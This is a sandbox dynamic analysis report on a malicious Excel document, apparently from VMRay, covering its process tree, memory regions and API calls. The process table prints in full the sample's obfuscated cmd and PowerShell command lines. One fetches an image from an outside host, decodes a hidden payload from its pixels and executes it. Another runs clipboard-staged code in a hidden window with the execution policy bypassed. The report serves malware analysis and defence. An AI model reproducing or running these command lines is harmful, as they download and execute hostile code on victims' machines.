54303e5a...fd2e | Sequential Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 95/100
Dynamic Analysis Report
Classification: -

54303e5aa05db2becbef0978baa60775858899b17a5d372365ba3c5b1220fd2e (SHA256)

DOC2410201810718458.xls

Excel Document

Created at 2018-10-24 06:15:00

...

Notifications (1/1)

Due to a WHOIS service error, no query could be made to get WHOIS data of any contacted domain.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x8c8 Analysis Target Medium excel.exe "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -
#2 0xad8 Child Process Medium cmd.exe cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!" #1
#3 0xb24 Child Process Medium cmd.exe cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #2
#4 0xb2c Child Process Medium cmd.exe C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) " #3
#5 0xb34 Child Process Medium clip.exe c:\wIndOws\SyStem32\CliP.ExE #3
#6 0xb3c Child Process Medium cmd.exe CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #3
#7 0xb44 Child Process Medium powershell.exe powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #6

Behavior Information - Sequential View

Process #1: excel.exe
5422 0
»
Information Value
ID #1
File Name c:\program files\microsoft office\root\office16\excel.exe
Command Line "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:34, Reason: Analysis Target
Unmonitor End Time: 00:03:46, Reason: Self Terminated
Monitor Duration 00:03:12
OS Process Information
»
Information Value
PID 0x8c8
Parent PID 0x39c (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A88
0x A84
0x A80
0x A7C
0x A78
0x A74
0x A70
0x A64
0x A60
0x 998
0x 994
0x 98C
0x 988
0x 984
0x 97C
0x 978
0x 974
0x 96C
0x 934
0x 930
0x 92C
0x 928
0x 924
0x 920
0x 91C
0x 914
0x 910
0x 90C
0x 908
0x 8E8
0x 8E4
0x 8E0
0x 8DC
0x 8D8
0x 8D4
0x 8D0
0x 8CC
0x AA4
0x AA8
0x AD4
0x B6C
0x 56C
0x 8A4
0x A98
0x 5C4
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
private_0x00000000000c0000 0x000c0000 0x000c0fff Private Memory rw True False False -
private_0x00000000000d0000 0x000d0000 0x001cffff Private Memory rw True False False -
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory rw True False False -
private_0x00000000002d0000 0x002d0000 0x002d0fff Private Memory rw True False False -
pagefile_0x00000000002e0000 0x002e0000 0x002e0fff Pagefile Backed Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x003effff Private Memory rw True False False -
pagefile_0x00000000003f0000 0x003f0000 0x003f6fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000400000 0x00400000 0x00401fff Pagefile Backed Memory rw True False False -
private_0x0000000000410000 0x00410000 0x00410fff Private Memory rw True False False -
private_0x0000000000420000 0x00420000 0x00420fff Private Memory rw True False False -
pagefile_0x0000000000430000 0x00430000 0x00432fff Pagefile Backed Memory r True False False -
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory - True False False -
pagefile_0x0000000000450000 0x00450000 0x00452fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000460000 0x00460000 0x00462fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000470000 0x00470000 0x00472fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000480000 0x00480000 0x00482fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000490000 0x00490000 0x00492fff Pagefile Backed Memory r True False False -
pagefile_0x00000000004a0000 0x004a0000 0x004a1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000004b0000 0x004b0000 0x004b1fff Pagefile Backed Memory r True False False -
private_0x00000000004c0000 0x004c0000 0x004c0fff Private Memory rw True False False -
private_0x00000000004d0000 0x004d0000 0x0050ffff Private Memory rw True False False -
pagefile_0x0000000000510000 0x00510000 0x00510fff Pagefile Backed Memory rw True False False -
private_0x0000000000520000 0x00520000 0x0052ffff Private Memory rw True False False -
pagefile_0x0000000000530000 0x00530000 0x006b7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000006c0000 0x006c0000 0x00840fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000850000 0x00850000 0x01c4ffff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01c50000 0x01f1efff Memory Mapped File r False False False -
pagefile_0x0000000001f20000 0x01f20000 0x02312fff Pagefile Backed Memory r True False False -
private_0x0000000002320000 0x02320000 0x0241ffff Private Memory rw True False False -
private_0x0000000002420000 0x02420000 0x0242ffff Private Memory rw True False False -
private_0x0000000002430000 0x02430000 0x0262ffff Private Memory rw True False False -
pagefile_0x0000000002630000 0x02630000 0x0270efff Pagefile Backed Memory r True False False -
pagefile_0x0000000002710000 0x02710000 0x02711fff Pagefile Backed Memory r True False False -
index.dat 0x02720000 0x0272bfff Memory Mapped File rw True False False -
index.dat 0x02730000 0x02737fff Memory Mapped File rw True False False -
private_0x0000000002740000 0x02740000 0x0274ffff Private Memory rw True False False -
index.dat 0x02750000 0x0275ffff Memory Mapped File rw True False False -
pagefile_0x0000000002760000 0x02760000 0x02760fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002770000 0x02770000 0x02770fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002780000 0x02780000 0x02780fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002790000 0x02790000 0x02790fff Pagefile Backed Memory r True False False -
pagefile_0x00000000027a0000 0x027a0000 0x027a4fff Pagefile Backed Memory rw True False False -
private_0x00000000027b0000 0x027b0000 0x0282ffff Private Memory rw True False False -
private_0x0000000002830000 0x02830000 0x02830fff Private Memory rw True False False -
pagefile_0x0000000002840000 0x02840000 0x02841fff Pagefile Backed Memory r True False False -
private_0x0000000002850000 0x02850000 0x02850fff Private Memory rw True False False -
private_0x0000000002860000 0x02860000 0x02860fff Private Memory rw True False False -
private_0x0000000002870000 0x02870000 0x0296ffff Private Memory rw True False False -
private_0x0000000002970000 0x02970000 0x02970fff Private Memory rw True False False -
private_0x0000000002980000 0x02980000 0x02980fff Private Memory rw True False False -
private_0x0000000002990000 0x02990000 0x02990fff Private Memory rw True False False -
pagefile_0x00000000029a0000 0x029a0000 0x029a1fff Pagefile Backed Memory r True False False -
private_0x00000000029b0000 0x029b0000 0x02aaffff Private Memory rw True False False -
pagefile_0x0000000002ab0000 0x02ab0000 0x02ab0fff Pagefile Backed Memory r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db 0x02ac0000 0x02adffff Memory Mapped File r True False False -
pagefile_0x0000000002ae0000 0x02ae0000 0x02ae0fff Pagefile Backed Memory rw True False False -
private_0x0000000002af0000 0x02af0000 0x02af0fff Private Memory rw True False False -
private_0x0000000002b00000 0x02b00000 0x02bfffff Private Memory rw True False False -
xlintl32.dll 0x02c00000 0x03c47fff Memory Mapped File r False False False -
private_0x0000000003c50000 0x03c50000 0x03c61fff Private Memory rw True False False -
pagefile_0x0000000003c70000 0x03c70000 0x03c71fff Pagefile Backed Memory r True False False -
pagefile_0x0000000003c80000 0x03c80000 0x03c81fff Pagefile Backed Memory r True False False -
pagefile_0x0000000003c90000 0x03c90000 0x03c90fff Pagefile Backed Memory r True False False -
private_0x0000000003ca0000 0x03ca0000 0x03ca1fff Private Memory rw True False False -
cversions.2.db 0x03cb0000 0x03cb3fff Memory Mapped File r True False False -
c_1255.nls 0x03cc0000 0x03cd0fff Memory Mapped File r False False False -
private_0x0000000003ce0000 0x03ce0000 0x03ceffff Private Memory rw True False False -
pagefile_0x0000000003cf0000 0x03cf0000 0x03cf1fff Pagefile Backed Memory r True False False -
private_0x0000000003d00000 0x03d00000 0x03d01fff Private Memory rw True False False -
private_0x0000000003d10000 0x03d10000 0x03e0ffff Private Memory rw True False False -
private_0x0000000003e10000 0x03e10000 0x03f0ffff Private Memory rw True False False -
private_0x0000000003f10000 0x03f10000 0x03f10fff Private Memory rw True False False -
private_0x0000000003f20000 0x03f20000 0x03f2ffff Private Memory rw True False False -
private_0x0000000003f30000 0x03f30000 0x03f30fff Private Memory rw True False False -
private_0x0000000003f40000 0x03f40000 0x03f40fff Private Memory rw True False False -
private_0x0000000003f50000 0x03f50000 0x03f50fff Private Memory rw True False False -
private_0x0000000003f60000 0x03f60000 0x03f60fff Private Memory rw True False False -
private_0x0000000003f70000 0x03f70000 0x0406ffff Private Memory rw True False False -
private_0x0000000004070000 0x04070000 0x04070fff Private Memory rw True False False -
private_0x0000000004080000 0x04080000 0x04080fff Private Memory rw True False False -
private_0x0000000004090000 0x04090000 0x04090fff Private Memory rw True False False -
private_0x00000000040a0000 0x040a0000 0x040a0fff Private Memory rw True False False -
pagefile_0x00000000040b0000 0x040b0000 0x040b1fff Pagefile Backed Memory r True False False -
private_0x00000000040c0000 0x040c0000 0x041bffff Private Memory rw True False False -
private_0x00000000041c0000 0x041c0000 0x041d1fff Private Memory rw True False False -
cversions.2.db 0x041e0000 0x041e3fff Memory Mapped File r True False False -
private_0x00000000041f0000 0x041f0000 0x0426ffff Private Memory rw True False False -
pagefile_0x0000000004270000 0x04270000 0x04271fff Pagefile Backed Memory r True False False -
private_0x0000000004280000 0x04280000 0x04280fff Private Memory rw True False False -
private_0x0000000004290000 0x04290000 0x0438ffff Private Memory rw True False False -
private_0x0000000004390000 0x04390000 0x0448ffff Private Memory rw True False False -
kernelbase.dll.mui 0x04490000 0x0454ffff Memory Mapped File rw False False False -
private_0x0000000004550000 0x04550000 0x045cffff Private Memory rwx True False False -
private_0x00000000045d0000 0x045d0000 0x04617fff Private Memory rw True False False -
private_0x0000000004620000 0x04620000 0x0462ffff Private Memory rw True False False -
private_0x0000000004630000 0x04630000 0x04630fff Private Memory rw True False False -
segoeui.ttf 0x04640000 0x046befff Memory Mapped File r False False False -
private_0x00000000046c0000 0x046c0000 0x047bffff Private Memory rw True False False -
pagefile_0x00000000047c0000 0x047c0000 0x04bbffff Pagefile Backed Memory r True False False -
private_0x0000000004bc0000 0x04bc0000 0x04fbffff Private Memory rw True False False -
tahoma.ttf 0x04fc0000 0x0506afff Memory Mapped File r False False False -
private_0x0000000005070000 0x05070000 0x05070fff Private Memory rw True False False -
private_0x0000000005080000 0x05080000 0x0517ffff Private Memory rw True False False -
private_0x0000000005180000 0x05180000 0x0527ffff Private Memory rw True False False -
private_0x0000000005280000 0x05280000 0x05280fff Private Memory rw True False False -
private_0x0000000005290000 0x05290000 0x05290fff Private Memory rw True False False -
private_0x00000000052a0000 0x052a0000 0x052a0fff Private Memory rw True False False -
pagefile_0x00000000052b0000 0x052b0000 0x052b1fff Pagefile Backed Memory r True False False -
private_0x00000000052c0000 0x052c0000 0x052c0fff Private Memory rw True False False -
private_0x00000000052d0000 0x052d0000 0x053cffff Private Memory rw True False False -
pagefile_0x00000000053d0000 0x053d0000 0x05712fff Pagefile Backed Memory r True False False -
private_0x0000000005720000 0x05720000 0x05767fff Private Memory rw True False False -
comdlg32.dll.mui 0x05770000 0x0577cfff Memory Mapped File rw False False False -
pagefile_0x0000000005780000 0x05780000 0x05781fff Pagefile Backed Memory r True False False -
private_0x0000000005790000 0x05790000 0x05790fff Private Memory rw True False False -
pagefile_0x00000000057a0000 0x057a0000 0x057a1fff Pagefile Backed Memory r True False False -
private_0x00000000057b0000 0x057b0000 0x057b1fff Private Memory rw True False False -
private_0x00000000057c0000 0x057c0000 0x058bffff Private Memory rw True False False -
pagefile_0x00000000058c0000 0x058c0000 0x058c1fff Pagefile Backed Memory r True False False -
private_0x00000000058d0000 0x058d0000 0x0594ffff Private Memory rw True False False -
private_0x0000000005950000 0x05950000 0x05952fff Private Memory rw True False False -
private_0x0000000005960000 0x05960000 0x05962fff Private Memory rw True False False -
private_0x0000000005970000 0x05970000 0x05a6ffff Private Memory rw True False False -
private_0x0000000005a70000 0x05a70000 0x05a70fff Private Memory rw True False False -
private_0x0000000005a80000 0x05a80000 0x05a82fff Private Memory rw True False False -
private_0x0000000005a90000 0x05a90000 0x05b8ffff Private Memory rw True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db 0x05b90000 0x05bbffff Memory Mapped File r True False False -
private_0x0000000005bc0000 0x05bc0000 0x05bc2fff Private Memory rw True False False -
private_0x0000000005bd0000 0x05bd0000 0x05bd0fff Private Memory rw True False False -
private_0x0000000005be0000 0x05be0000 0x05beffff Private Memory rw True False False -
private_0x0000000005bf0000 0x05bf0000 0x05bf0fff Private Memory rw True False False -
private_0x0000000005c00000 0x05c00000 0x05c01fff Private Memory rw True False False -
private_0x0000000005c10000 0x05c10000 0x05c10fff Private Memory rw True False False -
private_0x0000000005c20000 0x05c20000 0x05c2ffff Private Memory rw True False False -
pagefile_0x0000000005c30000 0x05c30000 0x0642ffff Pagefile Backed Memory rw True False False -
private_0x0000000006430000 0x06430000 0x0652ffff Private Memory rw True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x06530000 0x06595fff Memory Mapped File r True False False -
private_0x00000000065a0000 0x065a0000 0x065a0fff Private Memory rw True False False -
private_0x00000000065b0000 0x065b0000 0x066affff Private Memory rw True False False -
pagefile_0x00000000066b0000 0x066b0000 0x066b1fff Pagefile Backed Memory r True False False -
cversions.2.db 0x066c0000 0x066c3fff Memory Mapped File r True False False -
private_0x00000000066d0000 0x066d0000 0x066d0fff Private Memory rw True False False -
private_0x00000000066e0000 0x066e0000 0x066e0fff Private Memory rw True False False -
{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db 0x066f0000 0x066f0fff Memory Mapped File r True False False -
cversions.2.db 0x06700000 0x06703fff Memory Mapped File r True False False -
For performance reasons, the remaining 401 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0x8cc
2732 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 1627-02-11 15:23:55 (UTC) True 1
Fn
System Get Time type = Ticks, time = 112539 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = Unknown module name, base_address = 0x13f150000 True 1
Fn
Module Load module_name = Comctl32.dll, base_address = 0x7fefc690000 True 1
Fn
Module Get Handle module_name = MSI.DLL, base_address = 0x7fefa750000 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsiProvideQualifiedComponentA, address_out = 0x7fefa7d3b3c True 1
Fn
Module Get Address module_name = Unknown module name, function = MsiGetProductCodeA, address_out = 0x7fefa7ca13c True 1
Fn
Module Get Address module_name = Unknown module name, function = MsiReinstallFeatureA, address_out = 0x7fefa7d1618 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsiProvideComponentA, address_out = 0x7fefa7cf088 True 1
Fn
Module Get Handle module_name = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL, base_address = 0x0 False 1
Fn
Module Load module_name = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL, base_address = 0x7fee5830000 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoVBADigSigCallDlg, address_out = 0x7fee59372c0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoVbaInitSecurity, address_out = 0x7fee58a60b0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFIEPolicyAndVersion, address_out = 0x7fee5851a60 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFAnsiCodePageSupportsLCID, address_out = 0x7fee58a5f50 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFInitOffice, address_out = 0x7fee584f000 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoUninitOffice, address_out = 0x7fee583e860 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFGetFontSettings, address_out = 0x7fee5833fc0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoRgchToRgwch, address_out = 0x7fee5842380 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoHrSimpleQueryInterface, address_out = 0x7fee5837b80 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoHrSimpleQueryInterface2, address_out = 0x7fee5837b20 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFCreateControl, address_out = 0x7fee5838730 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFLongLoad, address_out = 0x7fee5973260 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFLongSave, address_out = 0x7fee5973280 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFGetTooltips, address_out = 0x7fee5841f40 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFSetTooltips, address_out = 0x7fee58a6370 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFLoadToolbarSet, address_out = 0x7fee5894590 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFCreateToolbarSet, address_out = 0x7fee58355b0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoHpalOffice, address_out = 0x7fee5840240 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFWndProcNeeded, address_out = 0x7fee5833d10 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFWndProc, address_out = 0x7fee5836d30 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFCreateITFCHwnd, address_out = 0x7fee5833d40 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoDestroyITFC, address_out = 0x7fee583e6f0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFPitbsFromHwndAndMsg, address_out = 0x7fee583df40 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFGetComponentManager, address_out = 0x7fee5837bf0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoMultiByteToWideChar, address_out = 0x7fee583fcd0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoWideCharToMultiByte, address_out = 0x7fee5838b20 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoHrRegisterAll, address_out = 0x7fee5932ef0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFSetComponentManager, address_out = 0x7fee58442c0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFCreateStdComponentManager, address_out = 0x7fee5833e20 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFHandledMessageNeeded, address_out = 0x7fee583ab10 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoPeekMessage, address_out = 0x7fee583a7d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFCreateIPref, address_out = 0x7fee5831550 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoDestroyIPref, address_out = 0x7fee583e830 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoChsFromLid, address_out = 0x7fee58313d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoCpgFromChs, address_out = 0x7fee5836660 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoSetLocale, address_out = 0x7fee5831500 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoFSetHMsoinstOfSdm, address_out = 0x7fee5833dd0 True 1
Fn
